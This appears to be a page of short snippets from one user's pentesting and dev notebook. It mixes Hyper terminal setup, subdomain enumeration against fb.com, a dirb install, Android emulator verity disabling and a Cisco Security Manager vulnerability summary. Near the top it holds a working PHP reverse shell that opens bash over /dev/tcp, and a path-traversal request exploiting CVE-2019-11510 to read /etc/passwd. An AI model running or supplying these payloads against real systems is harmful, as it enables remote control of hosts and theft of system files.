rudSarkar

PHP Reverse Shell

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.0/1234 0>&1'");

?>

Bash Reverse Shell

rudSarkar

Pulse Secure 8.1R15.1/8.2/8.3/9.0 SSL VPN - Arbitrary File Disclosure (Metasploit)

CVE

CVE: 2019-11510

If status == 200 then it's vulnerable

/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole

rudSarkar

0
00
01
02
03
1
1.0
10
100
1000

rudSarkar

TLDR

Cisco Security Manager is an enterprise-class security management application that provides insight into and control of Cisco security and network devices. Cisco Security Manager offers comprehensive security management (configuration and event management) across a wide range of Cisco security appliances, including Cisco ASA Adaptive Security Appliances, Cisco IPS Series Sensor Appliances, Cisco Integrated Services Routers (ISRs), Cisco Firewall Services Modules (FWSMs), Cisco Catalyst, Cisco Switches and many more. Cisco Security Manager allows you to manage networks of all sizes efficiently-from small networks to large networks consisting of hundreds of devices.

Several pre-auth vulnerabilities were submitted to Cisco on 2020-07-13 and (according to Cisco) patched in version 4.22 on 2020-11-10. Release notes didn't state anything about the vulnerabilities, security advisories were not published. All payload are processed in the context of NT AUTHORITY\SYSTEM.

rudSarkar

1. Install Hyper
2. After install open Hyper and press Ctrl + ,
3. It will open .hyper.js file
4. Search for shell: ''

Replace shell: '' to

shell: 'C:\\Program Files\\Git\\git-cmd.exe',

rudSarkar

## Subdomain Enumeration
	echo "Checking with Assetfinder!";
	assetfinder -subs-only fb.com >> ~/results/fb.com/subs/assetfinder.txt;
	echo "Checking with Subfinder!";
	subfinder -d fb.com -recursive -silent -all -t 500 -o ~/results/fb.com/subs/subfinder.txt;
	echo "Checking with Sublist3r!";
	sublist3r -d fb.com -n -t 500 -o ~/results/fb.com/subs/sublist3r.txt;
	echo "Checking with Amass!";
	amass enum -passive -norecursive -noalts -d fb.com -o ~/results/fb.com/subs/amass.txt;

rudSarkar

cd ~/Downloads
wget https://downloads.sourceforge.net/project/dirb/dirb/2.22/dirb222.tar.gz
tar -xvf dirb222.tar.gz
rm dirb222.tar.gz
brew install autoconf
chmod -R 755 dirb222
cd dirb222
./configure
make
make install

rudSarkar

While I was working with celery & redis I got a issue like this on MacOS

ERROR/MainProcess] consumer: Cannot connect to redis://localhost:6379/0: Error 61 connecting to localhost:6379. Connection refused..
Trying again in 2.00 seconds...

So what I did is deleted the log

rm -rf /usr/local/var/log

rudSarkar

• emulator -avd Pixel_3a_API_30_x86 -writable-system
• adb root
• adb shell avbctl disable-verification

Successfully disabled verification. Reboot the device for changes to take effect.

• adb disable-verity

using overlayfs Successfully disabled verity

rudSarkar

pip --cert certificate-name.crt install package-name